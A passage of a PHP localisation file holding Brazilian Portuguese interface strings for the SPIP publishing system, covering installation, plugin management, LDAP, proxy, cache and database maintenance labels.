'info_restreindre_rubrique' => 'Restringir o gerenciamento à seção:',
'info_resultat_recherche' => 'Resultados da pesquisa:',
'info_rubriques' => 'Seções',
'info_rubriques_02' => 'seções',
'info_rubriques_trouvees' => 'Seções encontradas',
'info_rubriques_trouvees_dans_texte' => 'Seções encontradas (no texto)',
'info_sans_titre' => 'Sem título',
'info_selection_chemin_acces' => '<b>Selecione</b> a seguir o caminho para acessar o diretório:',
'info_signatures' => 'assinaturas',
'info_site' => 'Site',
'info_site_2' => 'site:',
'info_site_min' => 'site',
'info_site_reference_2' => 'Site referenciado',
'info_site_web' => 'Website:',
'info_sites' => 'sites',
'info_sites_lies_mot' => 'Os sites referenciados ligados a esta palavra-chave',
'info_sites_proxy' => 'Utilizar um proxy',
'info_sites_trouves' => 'Sites encontrados',
'info_sites_trouves_dans_texte' => 'Sites encontrados (no texto)',
'info_sous_titre' => 'Subtítulo:',
'info_statut_administrateur' => 'Administrador',
'info_statut_auteur' => 'Status deste autor:',
'info_statut_auteur_2' => 'Eu sou',
'info_statut_auteur_a_confirmer' => 'Inscrição a confirmar',
'info_statut_auteur_autre' => 'Outro status:',
'info_statut_efface' => 'Excluído',
'info_statut_redacteur' => 'Redator',
'info_statut_utilisateurs_1' => 'Status padrão dos usuários importados',
'info_statut_utilisateurs_2' => 'Escolha o status atribuído às pessoas que constam do diretório LDAP, quando elas se conectarem pela primeira vêz. Você poderá, em seguida, alterar caso a caso este valor para cada autor.',
'info_suivi_activite' => 'Acompanhamento da atividade editorial',
'info_surtitre' => 'Sobretítulo:',
'info_syndication_integrale_1' => 'O seu site propõe arquivos de sindicação (ver « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Você deseja transmitir as matérias integralmente, ou difundir apenas um resumo de algumas centenas de caracteres?',
'info_table_prefix' => 'Você pode alterar o prefixo do nome das tabelas de dados (indispensável no caso de pretender instalar diversos sites na mesma base de dados). Este prefixo deve estar em minúsculas, não acentuadas, e sem espaços.',
'info_taille_maximale_images' => 'SPIP irá testar o tamanho máximo das imagens que o sistema pode tratar (em milhões de pixels).<br />As imagens muito grandes não serão reduzidas.',
'info_taille_maximale_vignette' => 'Tamanho máximo dos ícones gerados pelo sistema:',
'info_terminer_installation' => 'Você pode agora terminar o procedimento de instalação padrão.',
'info_texte' => 'Texto',
'info_texte_explicatif' => 'Texto explicativo',
'info_texte_long' => '(o texto é longo: ele aparecerá em diversas partes que serão recombinadas após validação.)',
'info_texte_message' => 'Texto da sua mensagem',
'info_texte_message_02' => 'Texto da mensagem',
'info_titre' => 'Título:',
'info_total' => 'total:',
'info_tous_articles_en_redaction' => 'Todas as matérias em fase de redação',
'info_tous_articles_presents' => 'Todas as matérias publicadas nesta seção',
'info_tous_articles_refuses' => 'Todas as matérias recusadas',
'info_tous_les' => 'todos os:',
'info_tous_redacteurs' => 'Anúncios para todos os redatores',
'info_tout_site' => 'Todo o site',
'info_tout_site2' => 'A matéria não foi traduzida para este idioma.',
'info_tout_site3' => 'A matéria foi traduzida para este idioma, mas foram feitas alterações na matéria de referência. A tradução procisa ser atualizada.',
'info_tout_site4' => 'A matéria foi traduzida para este idioma e a tradução está em dia.',
'info_tout_site5' => 'Matéria original.',
'info_tout_site6' => '<b>Atenção:</b> apenas as matérias originais estão exibidas.
As traduções estão associadas ao original, numa côr que indica o seu status:',
'info_traductions' => 'Traduções',
'info_travail_colaboratif' => 'Trabalho colaborativo nas matérias',
'info_un_article' => 'uma matéria,',
'info_un_site' => 'um site,',
'info_une_rubrique' => 'uma seção,',
'info_une_rubrique_02' => '1 seção',
'info_url' => 'URL:',
'info_url_proxy' => 'URL do proxy',
'info_url_site' => 'URL DO SITE:',
'info_url_test_proxy' => 'URL de teste',
'info_urlref' => 'Link hipertexto:',
'info_utilisation_spip' => 'Você pode agora começar a utilizar o sistema de publicação assistida...',
'info_visites_par_mois' => 'Exibir por mês:',
'info_visiteur_1' => 'Visitante',
'info_visiteur_2' => 'do site público',
'info_visiteurs' => 'Visitantes',
'info_visiteurs_02' => 'Visitantes do site público',
'info_webmestre_forces' => 'Os webmasters são definidos em <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Endereço da base de dados atribuído pelo serviço de hospedagem:',
'install_base_ok' => 'A base @base@ foi reconhecida',
'install_connect_ok' => 'A nova base de dados foi corretamente declarada sob o nome de servidor @connect@.',
'install_echec_annonce' => 'A instalação irá, provavelmente, falhar, ou levar a um site que não funciona...',
'install_extension_mbstring' => 'O SPIP não funciona com:',
'install_extension_php_obligatoire' => 'O SPIP exige a extensão php:',
'install_login_base_hebergeur' => 'Login de conexão atribuído pelo serviço de hospedagem:',
'install_nom_base_hebergeur' => 'Nome da base atribuído pelo serviço de hospedagem:',
'install_pas_table' => 'Base atualmente sem tabelas',
'install_pass_base_hebergeur' => 'Senha de conexão atribuída pelo serviço de hospedagem',
'install_php_version' => 'PHP versão @version@ é insuficiente (mínimo = @minimum@)',
'install_select_langue' => 'Escolha um idioma e clique no botão «avançar» para iniciar o procedimento de instalação.',
'install_select_type_db' => 'Indicar o tipo de base de dados:',
'install_select_type_mysql' => 'MySQL',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Servidor de base de dados atribuído pelo serviço de hospedagem',
'install_table_prefix_hebergeur' => 'Prefixo de tabela atribuído pelo serviço de hospedagem:',
'install_tables_base' => 'Tabelas da base',
'install_types_db_connus' => 'SPIP pode usar <b>MySQL</b> (a mais comum), e <b>SQLite</b>.',
'install_types_db_connus_avertissement' => 'O suporte ao <b>PostgreSQL</b> é também proposto a título experimental',
'instituer_erreur_statut_a_change' => 'O status já foi alterado',
'instituer_erreur_statut_non_autorise' => 'Você não pode escolher este status',
'intem_redacteur' => 'redator',
'intitule_licence' => 'Licença',
'item_accepter_inscriptions' => 'Aceitar as inscrições',
'item_activer_messages_avertissement' => 'Ativar as mensagens de aviso',
'item_administrateur_2' => 'administrador',
'item_afficher_calendrier' => 'Exibir no calendário',
'item_autoriser_documents_joints' => 'Autorizar os documentos anexos às matérias',
'item_autoriser_documents_joints_rubriques' => 'Autorizar os documentos nas seções',
'item_autoriser_syndication_integrale' => 'Difundir a íntegra das matérias nos arquivos de sindicação',
'item_choix_administrateurs' => 'os administradores',
'item_choix_generation_miniature' => 'Gerar automaticamente as miniaturas das imagens.',
'item_choix_non_generation_miniature' => 'Não gerar as miniaturas das imagens.',
'item_choix_redacteurs' => 'os redatores',
'item_choix_visiteurs' => 'os visitantes do site público',
'item_creer_fichiers_authent' => 'Criar os arquivos .htpasswd',
'item_limiter_recherche' => 'Limitar a busca às informações contida no seu site',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Ativar as mesagens internas e a agenda',
'item_mots_cles_association_articles' => 'às matérias',
'item_mots_cles_association_rubriques' => 'às seções',
'item_mots_cles_association_sites' => 'aos sites referenciados ou sindicados.',
'item_non' => 'Não',
'item_non_accepter_inscriptions' => 'Não aceitar inscrições',
'item_non_activer_messages_avertissement' => 'Sem mensagens de aviso',
'item_non_afficher_calendrier' => 'Não exibir no calendário',
'item_non_autoriser_documents_joints' => 'Não permitir os documentos nas matérias',
'item_non_autoriser_documents_joints_rubriques' => 'Não autorizar os documentos nas seções',
'item_non_autoriser_syndication_integrale' => 'Difundir apenas um resumo',
'item_non_compresseur' => 'Desativar a compressão',
'item_non_creer_fichiers_authent' => 'Não criar os arquivos',
'item_non_gerer_statistiques' => 'Não gerenciar as estatísticas',
'item_non_limiter_recherche' => 'Extender a busca ao conteúdo dos sites referenciados',
'item_non_messagerie_agenda' => 'Desativar as mensagens internas e a agenda',
'item_non_publier_articles' => 'Não publicar as matérias antes da data de publicação fixada.',
'item_non_utiliser_moteur_recherche' => 'Não utilizar o motor de busca',
'item_nouvel_auteur' => 'Novo autor',
'item_nouvelle_rubrique' => 'Nova seção',
'item_oui' => 'Sim',
'item_publier_articles' => 'Publicar as matérias seja qual for a sua data de publicação.',
'item_reponse_article' => 'Resposta à matéria',
'item_utiliser_moteur_recherche' => 'Utilizar o motor de busca',
'item_version_html_max_html4' => 'Limitar-se ao HTML4 no site público',
'item_version_html_max_html5' => 'Permitir o HTML5',
'item_visiteur' => 'Visitante',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'label_bando_outils' => 'Barra de ferramentas',
'label_bando_outils_afficher' => 'Exibir as ferramentas',
'label_bando_outils_masquer' => 'Esconder as ferramentas',
'label_choix_langue' => 'Escolha o seu idioma',
'label_nom_fichier_connect' => 'IInforme o nome usado por este servidor',
'label_slogan_site' => 'Slogan do site',
'label_taille_ecran' => 'Largura da tela',
'label_texte_et_icones_navigation' => 'Menu de navegação',
'label_texte_et_icones_page' => 'Exibição na página',
'ldap_correspondance' => 'herança do campo @champ@',
'ldap_correspondance_1' => 'Herança dos campos LDAP',
'ldap_correspondance_2' => 'Para cada um dos campos SPIP a seguir, indique o nome do campo LDAP correspondente. Deixe em branco para não preencher, separe por espaços ou vírgulas para tentar vários campos LDAP.',
'lien_ajout_destinataire' => 'Incluir este destinatário',
'lien_ajouter_auteur' => 'Incluir este autor',
'lien_ajouter_participant' => 'Incluir um participante',
'lien_ajouter_une_rubrique' => 'Incluir esta seção',
'lien_email' => 'e-mail',
'lien_nom_site' => 'NOME DO SITE:',
'lien_retirer_auteur' => 'Retirar o autor',
'lien_retirer_rubrique' => 'Excluir a seção',
'lien_retirer_tous_auteurs' => 'Retirar todos os autores',
'lien_retirer_toutes_rubriques' => 'Excluir todas as seções',
'lien_retrait_particpant' => 'excluir este participante',
'lien_site' => 'site',
'lien_supprimer_rubrique' => 'excluir esta seção',
'lien_tout_deplier' => 'Expandir tudo',
'lien_tout_replier' => 'Retrair tudo',
'lien_tout_supprimer' => 'Excluir tudo',
'lien_trier_nom' => 'Ordenar pelo nome',
'lien_trier_nombre_articles' => 'Ordenar por número de matérias',
'lien_trier_statut' => 'Ordenar pelo status',
'lien_voir_en_ligne' => 'VER ONLINE:',
'logo_article' => 'Logo da matéria',
'logo_auteur' => 'Logo do autor',
'logo_rubrique' => 'Logo da seção',
'logo_site' => 'Logo deste site',
'logo_standard_rubrique' => 'Logo padrão das seções',
'logo_survol' => 'Logo para mouseOver',
// M
'menu_aide_installation_choix_base' => 'Seleção da sua base',
'module_fichier_langue' => 'Arquivo de idioma',
'module_raccourci' => 'Atalho',
'module_texte_affiche' => 'Texto exibido',
'module_texte_explicatif' => 'Você pode inserir os atalhos a seguir nos templates do seu site público. Eles serão traduzidos automaticamente para os idiomas para os quais exista um arquivo de idioma.',
'module_texte_traduction' => 'O arquivo de idioma « @module@ » está disponível em:',
'mois_non_connu' => 'desconhecido',
// N
'nouvelle_version_spip' => 'A versão @version@ do SPIP está disponível.',
// O
'onglet_contenu' => 'Conteúdo',
'onglet_declarer_une_autre_base' => 'Configurar outra base',
'onglet_discuter' => 'Discutir',
'onglet_documents' => 'Documentos',
'onglet_interactivite' => 'Interatividade',
'onglet_proprietes' => 'Propriedades',
'onglet_repartition_actuelle' => 'atualmente',
'onglet_sous_rubriques' => 'Subseções',
// P
'page_pas_proxy' => 'Esta página não deve passar pelo proxy',
'pas_de_proxy_pour' => 'Se necessário, indique as máquinas ou domínios para os quais este proxy não se aplica (por exemplo: @exemple@)',
'plugin_charge_paquet' => 'Carregamento do pacote @name@',
'plugin_charger' => 'Transferir',
'plugin_erreur_charger' => 'erro: não foi possível carregar @zip@',
'plugin_erreur_droit1' => 'O diretório <code>@dest@</code> não está acessível para escrita.',
'plugin_erreur_droit2' => 'Por favor, verifique os direitos deste diretório (e criá-lo, caso não exista), ou instalar os arquivos por FTP.',
'plugin_erreur_zip' => 'falha pclzip: erro @status@',
'plugin_etat_developpement' => 'em desenvolvimento',
'plugin_etat_experimental' => 'experimental',
'plugin_etat_stable' => 'estável',
'plugin_etat_test' => 'em teste',
'plugin_impossible_activer' => 'Não foi possível ativar o plugin @plugin@',
'plugin_info_automatique1' => 'Se você deseja autorizar a instalaçào automática dos plugins, por favor:',
'plugin_info_automatique1_lib' => 'Se você deseja autorizar a instalação automática desta biblioteca, por favor:',
'plugin_info_automatique2' => 'crie um diretório <code>@rep@</code> ;',
'plugin_info_automatique3' => 'verifique se o servidor está autorizado a escrever neste diretório',
'plugin_info_automatique_creer' => 'a ser criado na raiz do site.',
'plugin_info_automatique_exemples' => 'exemplos:',
'plugin_info_automatique_ftp' => 'Você pode instalar os plugins, por FTP, no diretório <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'Alguns plugins precisam também poder transferir arquivos para o diretório <code>lib/</code>, a ser criado, caso não exista, na raiz do site.',
'plugin_info_automatique_liste' => 'Suas listas de plugins:',
'plugin_info_automatique_liste_officielle' => 'os plugins oficiais',
'plugin_info_automatique_liste_update' => 'Atualizar as listas',
'plugin_info_automatique_ou' => 'ou...',
'plugin_info_automatique_select' => 'Selecione abaixo um plugin: O SPIP o transferirá e o instalará no diretório <code>@rep@</code>; se o plugin já existir, será atualizado.',
'plugin_info_credit' => 'Créditos',
'plugin_info_erreur_xml' => 'A declaração deste plugin está incorreta',
'plugin_info_install_ok' => 'Instalação bem sucedida',
'plugin_info_necessite' => 'Requer:',
'plugin_info_non_compatible_spip' => 'Este plugin não é compatível com esta versão do SPIP',
'plugin_info_plugins_dist_1' => 'Os plugins abaixo são carregados e ativados no diretório @plugins_dist@.',
'plugin_info_plugins_dist_2' => 'Eles não são desativáveis.',
'plugin_info_telecharger' => 'transferir de @url@ e instalar em @rep@',
'plugin_librairies_installees' => 'Bibliotecas instaladas',
'plugin_necessite_lib' => 'Este plugin precisa da biblioteca @lib@',
'plugin_necessite_plugin' => 'É necessário o plugin @plugin@ na versão @version@, pelo menos.',
'plugin_necessite_plugin_sans_version' => 'Precisa do plugin @plugin@',
'plugin_necessite_spip' => 'É necessário o SPIP na versão @version@, pelo menos.',
'plugin_source' => 'fonte: ',
'plugin_titre_automatique' => 'Instalação automática',
'plugin_titre_automatique_ajouter' => 'Incluir plugins',
'plugin_titre_installation' => 'Instalação do plugin @plugin@',
'plugin_titre_modifier' => 'Meus plugins',
'plugin_zip_active' => 'Continue para o ativar',
'plugin_zip_adresse' => 'Indique abaixo o endereço de uma arquivo zip de plugin a ser transferido, ou ainda o endereço de uma lista de plugins.',
'plugin_zip_adresse_champ' => 'Endereço do plugin ou da lista',
'plugin_zip_content' => 'Ele contém os arquivos a seguir (@taille@),<br />prontos para serem instalados no diretório <code>@rep@</code>',
'plugin_zip_installe_finie' => 'O arquivo @zip@ foi descompactado e instalado.',
'plugin_zip_installe_rep_finie' => 'O arquivo @zip@ foi descompactado e instalado no diretório @rep@',
'plugin_zip_installer' => 'Você pode, agora, instalá-lo.',
'plugin_zip_telecharge' => 'O arquivo @zip@ foi transferido',
'plugins_actif_aucun' => 'Nenhum plugin ativado.',
'plugins_actif_un' => 'Um plugin ativado.',
'plugins_actifs' => '@count@ plugins ativados.',
'plugins_actifs_liste' => 'Ativos',
'plugins_compte' => '@count@ plugins',
'plugins_disponible_un' => 'Um plugin disponível.',
'plugins_disponibles' => '@count@ plugins disponiveis.',
'plugins_erreur' => 'Erro nos plugins: @plugins@',
'plugins_liste' => 'Lista dos plugins',
'plugins_liste_dist' => 'Plugins bloqueados',
'plugins_recents' => 'Plugins recentes.',
'plugins_tous_liste' => 'Todas',
'plugins_vue_hierarchie' => 'Hierarquia',
'plugins_vue_liste' => 'Lista',
'protocole_ldap' => 'Versão do protocolo:',
// Q
'queue_executer_maintenant' => 'Executar agora',
'queue_info_purger' => 'Você pode excluir todas as tarefas em espera e reinicializar a lista com as tarefas periódicas',
'queue_nb_jobs_in_queue' => '@nb@ trabalhos em espera',
'queue_next_job_in_nb_sec' => 'Próximo trabalho em @nb@ s',
'queue_no_job_in_queue' => 'Nenhum tarefa em espera',
'queue_one_job_in_queue' => '1 trabalho em espera',
'queue_purger_queue' => 'Reiniciar a lista de tarefas',
'queue_titre' => 'Lista de tarefas',
// R
'repertoire_plugins' => 'Diretório:',
// S
'sans_heure' => 'sem hora',
'statut_admin_restreint' => '(admin limitado)', # MODIF
// T
'tache_cron_asap' => 'Tarefa CRON @function@ (ASAP)',
'tache_cron_secondes' => 'Tarefa CRON @function@ (a cada @nb@ s)',
'taille_cache_image' => 'As imagens calculadas automaticamente pelo SPIP (ícones de documentos, títulos apresentados sob a forma gráfica, funções matemáticas em formato TeX...) ocupam, no diretório @dir@, um total de @taille@.',
'taille_cache_infinie' => 'Este site não prevê limitação de tamanho do diretório do cache.',
'taille_cache_maxi' => 'O SPIP tenta limitar o tamanho do diretório do cache deste site em cerca de <b>@octets@</b>.',
'taille_cache_moins_de' => 'O tamanho do cache é menor do que @octets@.',
'taille_cache_octets' => 'O tamanho atual do cache é de cerca de @octets@.',
'taille_cache_vide' => 'O cache está vazio.',
'taille_repertoire_cache' => 'Tamanho do diretório cache',
'text_article_propose_publication' => 'Matéria proposta para publicação.',
'texte_acces_ldap_anonyme_1' => 'Alguns servidores LDAP não aceitam nenhum acesso anônimo. Neste caso, é necessário especificar um identificador de acesso inicial de modo a poder, em seguida, pesquisar as informações no diretório. Na maior parte dos casos, entretanto, os campos a seguir poderão ser deixados em branco.',
'texte_admin_effacer_01' => 'Este comando apaga <i>todo</i> o conteúdo da base de dados,incluindo <i>todos</i> os acessos dos redatores e administradores. Após executá-lo, você deverá reinstalar o SPIP para recriar uma nova base de dados bem como um acesso inicial de administrador.',
'texte_adresse_annuaire_1' => '(Se o seu diretório está instalado na mesma máquina que este website, trata-se provavelmente de «localhost».)',
'texte_ajout_auteur' => 'O autor a seguir foi incluído na matéria:',
'texte_annuaire_ldap_1' => 'Se você tem acesso a um diretório LDAP, você poderá utilizá-lo para importar automaticamente os usuários para o SPIP.',
'texte_article_statut' => 'Esta matéria está:',
'texte_article_virtuel' => 'Matéria virtual',
'texte_article_virtuel_reference' => '<b>Matéria virtual:</b> matéria referenciada no seu site SPIP, mas redirecionada para um outro URL. Para cancelar o redirecionamento, apague o URL abaixo.',
'texte_aucun_resultat_auteur' => 'Nenhum resultado para "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Este site pode monitorar permanentemente a lista de editores conectados, permitindo-lhe trocar mensagens em tempo real. Você pode decidir não aparecer nessa lista (ficando "invisível" para os outros usuários).',
'texte_auteur_messagerie_1' => 'Este site permite a troca de mensagens e o estabelecimento de fóruns de discussão privados entre os participantes do site. Você pode decidir não participar dessas trocas.',
'texte_auteurs' => 'OS AUTORES',
'texte_choix_base_1' => 'Escolha a sua base:',
'texte_choix_base_2' => 'O servidor SQL contém várias bases de dados.',
'texte_choix_base_3' => '<b>Escolha</b> abaixo a que lhe foi atribuída pelo seu serviço de hospedagem:',
'texte_choix_table_prefix' => 'Prefixo das tabelas:',
'texte_commande_vider_tables_indexation' => 'Use este comando para esvaziar as tabelas de indexação usadas pelo motor de busca integrado ao SPIP. Isto permitirá ganhar espaço em disco.',
'texte_compatibilite_html' => 'Você pode solicitar ao SPIP que gere, no site público, código compatível com o padrão <i>HTML4</i>, ou permitir que ele use as possibilidades mais modernas do <i>HTML5</i>.',
'texte_compatibilite_html_attention' => 'Não há nenhum risco em ativar a opção <i>HTML5</i> mas, se você o fizer, as páginas do seu site deverão começar com o código a seguir, para continuarem válidas: <code><!DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(pode ser compactado ou não)',
'texte_compte_element' => '@count@ elemento',
'texte_compte_elements' => '@count@ elementos',
'texte_conflit_edition_correction' => 'Por favor, controle abaixo as diferenças entre as duas versões do texto; você pode também copiar as suas modificações e depois recomeçar.',
'texte_connexion_mysql' => 'Consulte as informações fornecidas pelo seu serviço de hospedagem: nelas, você deverá encontrar o servidor de base de dados fornecido e os seus dados de conexão ao servidor SQL.',
'texte_contenu_article' => '(Conteúdo da matéria em poucas palavras.)',
'texte_contenu_articles' => 'De acoordo com o layout adotado pelo seu site, você poderá decidir se certos elementos das matérias serão utilizados. Use a listagem abaixo para indicar quais elementos estão disponíveis.',
'texte_crash_base' => 'Se a sua base de dados se corrompeu, você poderá tentar uma reparação automática.',
'texte_creer_rubrique' => 'Antes de poder escrever matérias, você precisa criar uma seção.',
'texte_date_creation_article' => 'DATA DE CRIAÇÃO DA MATÉRIA:',
'texte_date_creation_objet' => 'Data de criação:', # on ajoute le ":"
'texte_date_publication_anterieure' => 'Data de redação anterior:',
'texte_date_publication_anterieure_nonaffichee' => 'Não exibir a data de redação anterior.',
'texte_date_publication_article' => 'DATA DE PUBLICAÇÃO ONLINE:',
'texte_date_publication_objet' => 'Data de publicação online:',
'texte_descriptif_petition' => 'Descrição da petição',
'texte_descriptif_rapide' => 'Descrição rápida',
'texte_effacer_base' => 'Apagar a base de dados do SPIP',
'texte_effacer_donnees_indexation' => 'Apagar os dados de indexação',
'texte_effacer_statistiques' => 'Apagar as estatísticas',
'texte_en_cours_validation' => 'Os conteúdos abaixo estão propostos para publicação.',
'texte_enrichir_mise_a_jour' => 'Você pode enriquecer a diagramação do seu texto usando «atalhos tipográficos».',
'texte_fichier_authent' => '<b>O SPIP pode criar os arquivos especiais <tt>.htpasswd</tt> e <tt>.htpasswd-admin</tt> no diretório @dossier@?</b><p>
Estes arquivos podem servir para restringir o acesso aos autores e administradores em outras áreas do seu site (programas externos de estatísticas, por exemplo).</p><p>
Se eles não forem úteis, você poderá deixar esta opção com o seu valor padrão (sem criar os arquivos).</p>', # MODIF
'texte_informations_personnelles_1' => 'O sistema vai criar agora um acesso personalizado ao site.',
'texte_informations_personnelles_2' => '(Nota: trata-se de uma reinstalação, se o seu acesso funciona corretamente, você pode',
'texte_introductif_article' => '(Texto introdutório da matéria.)',
'texte_jeu_caractere' => 'É aconselhável usar no seu site o alfabeto universal (<tt>utf-8</tt>): ele permite a exibição de textos em todos os idiomas, e não tem problemas de compatibilidade com os navegadores modernos.',
'texte_jeu_caractere_2' => 'Atenção: esta opção não provoca a conversão dos textos já gravados na base de dados.',
'texte_jeu_caractere_3' => 'O seu site está configurado atualmente com o conjunto de caracteres:',
'texte_jeu_caractere_4' => 'Se isso não corresponde à realidade dos seus dados (por ex., em seguimento a um restauro da base de dados), ou se <em>você lançou este site</em> e deseja utilizar um outro conjunto de caracteres, por favor, indique-o aqui:',
'texte_jeu_caractere_conversion' => 'Note: você pode decidir converter de uma vez todo o conjunto de textos do seu site (matérias, notas, fóruns etc.) para o alfabeto <tt>utf-8</tt>, indo para <a href="@url@">a página de conversão para utf-8</a>.',
'texte_lien_hypertexte' => '(Se a sua mensagem se refere a uma matéria publicada na web, ou a uma página fornecendo informações adicionais, por favor, informe o título da página e respectivo URL.)',
'texte_login_ldap_1' => '(Deixe em branco para acesso anônimo, ou informe o caminho completo, por exemplo «<tt>uid=dupont, ou=users, dc=mon-domaine, dc=com</tt>».)',
'texte_login_precaution' => 'Atenção! Este é o login com o qual você está conectado agora. Use este formulário com precaução...',
'texte_message_edit' => 'Atenção: esta mensagem pode ser alterada por todos os administradores do site, e é visívell para todos os redatores. Use os avisos apenas para difundir os eventos importantes da vida do site.',
'texte_messagerie_agenda' => 'As mensagens internas permitem que os redatores se comuniquem entre si, diretamente da área privada do site. Elas estão associadas a uma agenda.',
'texte_mise_a_niveau_base_1' => 'Você acabou de atualizar os arquivos do SPIP.
Agora é necessário atualizar a base de dados do site.',
'texte_modifier_article' => 'Editar a matéria:',
'texte_moteur_recherche_active' => '<b>O motor de busca foi ativado.</b> Use este comando se quiser proceder a uma reindexação rápida (após restauração de uma cópia de segurança, por exemplo). Note que os documentos modificados de modo normal (através da interface do SPIP) são automaticamente reindexados: este comando só tem utilidade pontual.',
'texte_moteur_recherche_non_active' => 'O motor de busca não está ativado.',
'texte_multilinguisme' => 'Se você deseja gerar objetos em diversos idiomas, com uma navegação complexa, você pode incluir um menu de seleção de idioma nesses objetos, de acordo com a estrutura do seu site.',
'texte_multilinguisme_trad' => 'Você pode, igualmente, ativar um sistema de gerenciamento de links entre as diferentes traduções em certos objetos.',
'texte_non_compresse' => '<i>nã compactado</i> (seu servidor não suporta esta funcionalidade)',
'texte_nouveau_message' => 'Nova mensagem',
'texte_nouvelle_version_spip_1' => 'Você instalou uma nova versão do SPIP.',
'texte_nouvelle_version_spip_2' => 'Esta nova versão precisa de uma atualização mais completa do que o normal. Se você é o webmaster do site, por favor, apague o arquivo @connect@ e retome a instalação de forma a incluir os seus parâmetros de conexão à base de dados.<p> (NB.: se você não se lembra dos seus parâmetros de conexão, consulte o arquivo @connect@ antes de apagá-lo...)</p>',
'texte_operation_echec' => 'Volte à página anterior, escolha uma outra base de dados ou crie uma nova. Verifique as informações fornecidas pelo seu serviço de hospedagem.',
'texte_plus_trois_car' => 'mais de 3 caracteres',
'texte_plusieurs_articles' => 'Demasiados autores encontrados para "@cherche_auteur@":',
'texte_port_annuaire' => '(O valor padrão indicado é geralmente conveniente.)',
'texte_presente_plugin' => 'Esta página lista os plugins disponíveis para o site. Você pode ativar os plugins necessários marcando a opção correspondente.',
'texte_proposer_publication' => 'Assim que a sua matéria estiver pronta, você pode propor a sua publicação.',
'texte_proxy' => 'Em alguns casos (intranet, redes protegidas...), os sites remotos (documentação do SPIP, sites sindicados etc.) só estarão acessíveis através de um <i>proxy HTTP</i>. Nesse caso, informe abaixo o endereço, no formato @proxy_en_cours@.Geralmente, você pode deixar este campo vazio.',
'texte_publication_articles_post_dates' => 'Que comportamento o SPIP deve adotar face às matérias em que a data de publicação está pré-datada?',
'texte_rappel_selection_champs' => '[Não se esqueça de selecionar corretamente este campo.]',
'texte_recalcul_page' => 'Se você quiser recalcular uma única página, passe para a área pública e clique no botão «atualizar».',
'texte_recapitiule_liste_documents' => 'Esta página compila a lista de documentos que você anexou às seções. Para modificar as informações de cada documento, siga o link para a página da respectiva seção.',
'texte_recuperer_base' => 'Reparar a base de dados',
'texte_reference_mais_redirige' => 'matéria referenciada no seu site em SPIP, mas redirecionada para outro URL.',
'texte_requetes_echouent' => '<b>Já que certas solicitações SQL falharam sistematicamente e sem razão aparente, é possível que a causa esteja na base de dados em si.</b><p>
O seu servidor SQL dispõe de uma funcionalidade de reparação das suas tabelas quando elas são danificadas por acidente. Você poderá tentar esta reparação; em caso de falha, conserve uma cópia da mensagem de erro, que poderá conter indícios do que não está funcionando...</p><p>
Se o problema persistir, contate o seu serviço de hospedagem.</p>',
'texte_selection_langue_principale' => 'Você pode escolher abaixo o «idioma principal» do site. esta escolha não o obriga - felizmente! - a escrever as suas matérias no idioma selecionado, mas permite determinar:
<ul><li>o formato padrão das datas no site público;</li>
<li>a natureza do motor tipográfico que o SPIP deverá usar para a composição dos textos;</li>
<li>o idioma usado nos formulários do site público;</li>
<li>o idioma padrão exibido na área privada.</li></ul>',
'texte_sous_titre' => 'Subtítulo',
'texte_statistiques_visites' => '(barras escuras: domingo / curva escura: evolução da média)',
'texte_statut_attente_validation' => 'aguardando validação',
'texte_statut_publies' => 'publicadas online',
'texte_statut_refuses' => 'recusados',
'texte_suppression_fichiers' => 'Use este comando para excluir todos os arquivos que constam do cache do SPIP. Isto permite, por exemplo, forçar a reconstrução de todas as páginas, caso você tenha feito alterações importantes no layout ou na estrutura do site.',
'texte_sur_titre' => 'Sobretítulo',
'texte_table_ok' => ': esta tabela está OK.',
'texte_tables_indexation_vides' => 'As tabelas de indexação do motor de busca estão vazias.',
'texte_tentative_recuperation' => 'Tentativa de reparação',
'texte_tenter_reparation' => 'Tentar uma reparação da base de dados',
'texte_test_proxy' => 'Para testar este proxy, informe aqui o endereço de um website que você deseje testar.',
'texte_titre_02' => 'Título:',
'texte_titre_obligatoire' => '<b>Título</b> [obrigatório]',
'texte_travail_article' => '@nom_auteur_modif@ trabalhou nesta matéria há @date_diff@ minutos',
'texte_travail_collaboratif' => 'Se é frequente acontecer de mais de um redator trabalhar em uma mesma matéria, o sistema pode exibir as matérias recentemente «abertas», de modo a evitar modificações concorrentes.Esta opção está desativada por padrão para evitar a exibição de mensagens de aviso intempestivas.',
'texte_trop_resultats_auteurs' => 'Demasiados resultados para "@cherche_auteur@"; por favor, refine a pesquisa.',
'texte_unpack' => 'transferência da última versão',
'texte_utilisation_moteur_syndiques' => 'Ao utilizar o motor de busca integrado ao SPIP, você poderá efetuar buscas nos sites e nas matérias sindicadas de dois modos diferentes.<br />- A mais simples consiste em procurar unicamente nos títulos e nas descrições das matérias.<br />- O outro método, muito mais potente, permite ao SPIP procurar no texto dos sites referenciados. Se você referenciar um site, o SPIP irá efetuar a busca no próprio texto do site.',
'texte_utilisation_moteur_syndiques_2' => 'Este método obriga o SPIP a visitar regularmente os sites referenciados, o que pode provocar um ligeiro retardamento do seu próprio site.',
'texte_vide' => 'vazia',
'texte_vider_cache' => 'Esvaziar o cache',
'titre_admin_effacer' => 'Manutenção técnica',
'titre_admin_tech' => 'Manutenção técnica',
'titre_admin_vider' => 'Manutenção técnica',
'titre_ajouter_un_auteur' => 'Incluir um autor',
'titre_ajouter_un_mot' => 'Incluir uma palavra-chave',
'titre_ajouter_une_rubrique' => 'Incluir uma seção',
'titre_cadre_afficher_article' => 'Exibir as matérias',
'titre_cadre_afficher_traductions' => 'Exibir o status das traduções para os idiomas a seguir:',
'titre_cadre_ajouter_auteur' => 'INCLUIR UM AUTOR:',
'titre_cadre_interieur_rubrique' => 'Na seção',
'titre_cadre_numero_auteur' => 'AUTOR NÚMERO',
'titre_cadre_numero_objet' => '@objet@ NÚMERO:',
'titre_cadre_signature_obligatoire' => '<b>Assinatura</b> [obrigatório]<br />',
'titre_config_contenu_notifications' => 'Notificações',
'titre_config_contenu_prive' => 'Na área privada',
'titre_config_contenu_public' => 'No site público',
'titre_config_fonctions' => 'Configuração do site',
